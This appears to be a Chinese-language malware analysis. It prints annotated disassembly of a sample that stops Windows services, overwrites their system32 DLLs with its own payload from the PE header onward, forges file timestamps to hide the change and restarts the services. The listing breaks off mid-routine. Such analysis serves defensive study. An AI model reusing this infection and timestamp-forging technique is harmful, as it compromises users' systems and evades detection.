一些感染型的病毒基本上就是对文件的特性进行了修改(内容,属性等),如果是破坏型的,普通电脑用户也可以辨别出来(烧香的熊猫);还有目的是隐蔽的,一般用户可能就不会那么容易发现从而中招。快捷键病毒将文件夹进行伪造做成一个快捷键,文件夹大小变成1K或2K,图标不变。双击后显示正常的内容,但是恶意程序已经执行了。下面就介绍一个不是那么恶意的病毒它感染文件的关键反汇编代码:
push 0F003Fh ;dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call ds:OpenSCManagerA;打开服务管理器
mov [ebp+hSCManager], eax
and [ebp+var_254], 0
and [ebp+ServiceNum], 0;ServiceNum=0
jmp short loc_40110B
loc_4010FE:
mov eax, [ebp+ServiceNum]
inc eax
mov [ebp+ServiceNum], eax
loc_40110B:
cmp [ebp+ServiceNum], 12h ;总共有0x12=18个,都是一些常用的基础服务,都有自己对应的dll文件,会在系统开始的过程中自动加载运行里面提供的服务
jge loc_401253
push 0F01FFh ; dwDesiredAccess
mov eax, [ebp+ServiceNum]
push ServiceName[eax*4] ; lpServiceName
push [ebp+hSCManager] ; hSCManager
call ds:OpenServiceA
mov [ebp+hService], eax
cmp [ebp+hService], 0
jnz short loc_40113E
jmp short loc_4010FE
loc_40113E:
push 7
pop ecx
xor eax, eax
lea edi, [ebp+ServiceStatus]
rep stosd
lea eax, [ebp+ServiceStatus]
push eax ; lpServiceStatus
push [ebp+hService] ; hService
call ds:QueryServiceStatus;查看服务状态
cmp [ebp+ServiceStatus.dwCurrentState], 1;SERVICE_CONTROL_STOP ---0x1
jz short loc_401197
cmp [ebp+var_254], 0
jnz short loc_401177
jmp loc_401222
jmp loc_401222
loc_401177:
lea eax, [ebp+ServiceStatus]
push eax ; lpServiceStatus
push 1 ; dwControl
push [ebp+hService] ; hService
call ds:ControlService;如果服务没有停止,设置为停止,方便写入数据但对应的dll中(正在被访问的文件,不能被其他的修改--大概是这个意思)
test eax, eax
jnz short loc_401197
jmp loc_401222 ;操作失败,取释放访问的对象,退出程序
jmp loc_401222
loc_401197:
push 104h ; Size
push 0 ; Val
lea eax, [ebp+String]
push eax ; Dst
call memset
add esp, 0Ch
mov eax, [ebp+ServiceNum]
push DllName[eax*4]
lea eax, [ebp+Dst]
push eax
push offset aSSystem32S ; "%s\\system32\\%s"
lea eax, [ebp+String]
push eax ; LPSTR
call ds:wsprintfA ;合成路径
add esp, 10h
lea eax, [ebp+String]
push eax ; pszPath
call WriteData ;去写数据
test eax, eax
jnz short loc_4011EA
jmp short loc_401222
jmp short loc_401222
loc_4011EA:
push 0 ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push [ebp+hService] ; hService
call ds:StartServiceA ;重新开启服务,被写入的代码也会运行
test eax, eax
jnz short loc_4011FF
jmp short loc_401222
WriteData函数对传入的路径进行确认,如果文件存在就从PE文件头开始填写数据(其实也是一个文件,此时从PE文件头开始读入数据);如果文件不存在就创建一个新文件,将数据全部写入。
FileExist:
mov [ebp+dwCreationDispostion],3
mov [ebp+lDistanceToMove],3Ch;是不是很熟悉--e_lfanew
jmp short loc_401538
FileNotExist:
mov [ebp+dwCreationDispostion],2
and [ebp+lDistanceToMove],0;从头开始
loc_401538:
push 0
push 0
push [ebp+dwCreationDispostion]
push 0
push 0
push 0C0000000 ;dwDesiredAccess
push [ebp+pszPath] ;lpFileName
call ds:CreateFileA ;打开或创建文件
;下面再文件的时间上作了手脚,正常情况下文件被修改了,文件上会显示最后改动的时间。它在写入数据之前把上次修改的时间保存下来,数据写入之后把时间该回来
push 6
pop ecx
xor eax,eax
lea edi,[ebp+CreationTime]
rep stosd ;初始化CreationTime
lea eax,[ebp+LastWriteTime]
push eax
lea eax,[ebp+LastAccessTime]
push eax
lea eax,[ebp+LastCreationTime]
push eax
push [ebp+hFile]
call ds:GetFileTime ;获取文件的一些时间
cmp [ebp+dwCreationDisposition], 2
jnz short loc_4015AC
mov [ebp+CreationTime.dwLowDateTime], 1EC61500h
mov [ebp+CreationTime.dwHighDateTime], 1C479C6h
mov eax, [ebp+CreationTime.dwLowDateTime] mov [ebp+LastAccessTime.dwLowDateTime], eax
mov eax, [ebp+CreationTime.dwHighDateTime]
mov [ebp+LastAccessTime.dwHighDateTime], eax
mov eax, [ebp+CreationTime.dwLowDateTime]
mov [ebp+LastWriteTime.dwLowDateTime], eax
mov eax, [ebp+CreationTime.dwHighDateTime]
mov [ebp+LastWriteTime.dwHighDateTime], eax
loc_4015AC: push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push [ebp+lDistanceToMove] ; lDistanceToMove
push [ebp+hFile] ; hFile
call ds:SetFilePointer;设置写入起始点
mov eax, hResData ;数据的指针
add eax, [ebp+lDistanceToMove];设置读入起始点
mov [ebp+lpBuffer], eax
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
mov eax, lDistanceToMove
sub eax, [ebp+lDistanceToMove]
push eax ; nNumberOfBytesToWrite
push [ebp+lpBuffer] ; lpBuffer
push [ebp+hFile] ; hFile
call ds:WriteFile
test eax, eax
jnz short loc_4015F3
push [ebp+hFile] ; hObject
call ds:CloseHandle